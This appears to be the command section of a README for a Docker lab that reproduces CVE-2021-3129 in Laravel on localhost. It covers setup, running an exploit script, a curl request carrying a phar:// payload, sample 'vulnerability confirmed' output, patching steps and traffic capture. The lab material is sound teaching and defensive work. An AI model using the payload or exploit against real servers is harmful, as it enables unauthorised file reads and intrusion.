# Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab

# Build & Run
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest

# Test
curl http://localhost:8080/_ide_helper.php

# Exploit
python3 cve_2021_3129_exploit.py http://localhost:8080

# 1. Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab

# 2. Build container
docker build -t cve-2021-3129-lab:latest .

# 3. Run container
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest

# 4. Verify endpoint
curl http://localhost:8080/_ide_helper.php

# 5. Run exploit
python3 cve_2021_3129_exploit.py http://localhost:8080

[✓✓✓] CVE-2021-3129 VULNERABILITY CONFIRMED!

VULNERABILITY DETAILS:
- Debug mode is ENABLED (APP_DEBUG=true)
- _ide_helper.php is ACCESSIBLE
- Arbitrary file read is POSSIBLE
- Sensitive information LEAKED

# Basic
python3 cve_2021_3129_exploit.py http://localhost:8080

# Custom timeout
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10

# Help
python3 cve_2021_3129_exploit.py -h

# Test endpoint
curl http://localhost:8080/_ide_helper.php

# Test with payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'

# 1. Set APP_DEBUG=false in .env
# 2. Remove _ide_helper.php
# 3. Update Laravel to patched version (8.4.2+, 7.30.4+)
# 4. Restart application

# Stop container
docker stop laravel-cve-2021-3129

# Remove container
docker rm laravel-cve-2021-3129

# Remove image
docker rmi cve-2021-3129-lab:latest

sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# In another terminal, run the exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Open capture: wireshark capture.pcapng